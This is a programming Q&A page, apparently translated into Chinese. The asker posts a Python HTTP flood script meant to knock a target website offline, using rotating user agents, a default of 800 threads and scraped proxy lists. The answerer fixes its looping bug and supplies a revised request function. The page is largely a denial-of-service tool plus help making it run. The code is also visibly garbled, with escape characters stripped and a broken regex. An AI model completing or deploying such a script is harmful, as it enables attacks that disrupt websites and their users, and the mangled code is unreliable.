python 3.x-构建使用套接字的洪泛脚本时出现问题



我正在努力改进两个防洪器项目(而不是我的),用这两个项目制作我自己的脚本。这样做,我几乎已经完成了,但我陷入了一个脚本什么都没做的地步。这是代码:

import socket, threading, random, time, urllib.request, re, os.path
from bs4 import BeautifulSoup
useragents=["Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
            "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
            "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
            "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0",
            "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1",
            "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
            "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
            "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
            "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1",]
def checkurl():
    global url
    url = input("Insert URL: ")
    if url[0]+url[1]+url[2]+url[3] == "www.":
        url = "http://" + url
    elif url[0]+url[1]+url[2]+url[3] == "http":
        pass
    else:
        url = "http://" + url
def threads():
    global thread
    try:
        thread = int(input("Thread (800): "))
    except:
        thread = 800
def proxymode():
    global choise1
    choise1 = input("Do you want proxy mode? Answer 'y' to enable it: ")
    if choise1 == "y":
        choisedownproxy()
    else:
        exit(0)
def choisedownproxy():
    choise2 = input("Do you want to download a fresh list of proxy? Answer 'y' to do it: ")
    print ("")
    if choise2 == "y":
        proxyget()
    else:
        proxylist()
def proxyget():
    if os.path.isfile("proxy.txt"):
        out_file = open("proxy.txt","w")
        out_file.write("")
        out_file.close()
    else:
        pass
    url = "https://www.inforge.net/xi/forums/liste-proxy.1118/"
    soup = BeautifulSoup(urllib.request.urlopen(url), "lxml")
    base = "https://www.inforge.net/xi/"
    for tag in soup.find_all("a", {"class":"PreviewTooltip"}):
        links = tag.get("href")
        final = base + links
        result = urllib.request.urlopen(final)
        for line in result :
            ip = re.findall("(?:[d]{1,3}).(?:[d]{1,3}).(?:[d]{1,3}).(?:[d]{1,3}):(?:[d]{1,5})", str(line))
            if ip:
                print("Proxy grabbed=> "+'n'.join(ip))
                for x in ip:
                    out_file = open("proxy.txt","a")
                    while True:
                        out_file.write(x+"n")
                        out_file.close()
                        break
    proxylist()
def proxylist():
    global proxy
    global entries
    out_file = str(input("Enter the proxy list: "))
    entries = open(out_file).readlines()
    proxy = random.choice(entries).strip().split(':')
    requestproxy()
def requestproxy():
    global proxy
    host = proxy[0]
    port = proxy[1]
    host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
    get_host = "GET " + url + " HTTP/1.1rnHost: " + host_url + "rn"
    useragent = "User-Agent: " + random.choice(useragents) + "rn"
    accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflate"
    connection = "Connection: Keep-Alivern"
    request = get_host + useragent + accept + connection + "rn"
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.send(request)
        except:
            proxy = random.choice(entries).strip().split(':')
checkurl()
threads()
proxymode()

正如您所看到的,这个脚本使用一个代理列表来向目标发送请求(使用套接字库)。但当我到达"输入代理列表"并键入"proxy.txt"后,脚本就卡住了!我做错了什么?你能帮我吗?

输入"proxy.txt"后,脚本打开文件,然后调用requestproxy()。在requestproxy()的末尾,您有一个"while True"。这是一个无限循环,所以它会卡在那里,除非某个地方出现"中断",但事实并非如此。您可能应该在s.send(request)之后添加一个break,并将整个函数放入一个循环中。这样,如果包已经发送,您的无限循环就会停止,但如果出现异常,它将使用不同的代理重试。

看起来是这样的:

def requestproxy():
    while True:
        global proxy
        host = proxy[0]
        port = proxy[1]
        host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
        get_host = "GET " + url + " HTTP/1.1rnHost: " + host_url + "rn"
        useragent = "User-Agent: " + random.choice(useragents) + "rn"
        accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflate"
        connection = "Connection: Keep-Alivern"
        request = get_host + useragent + accept + connection + "rn"
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.send(request)
            break
        except:
            proxy = random.choice(entries).strip().split(':')

我希望这能有所帮助。祝你今天愉快!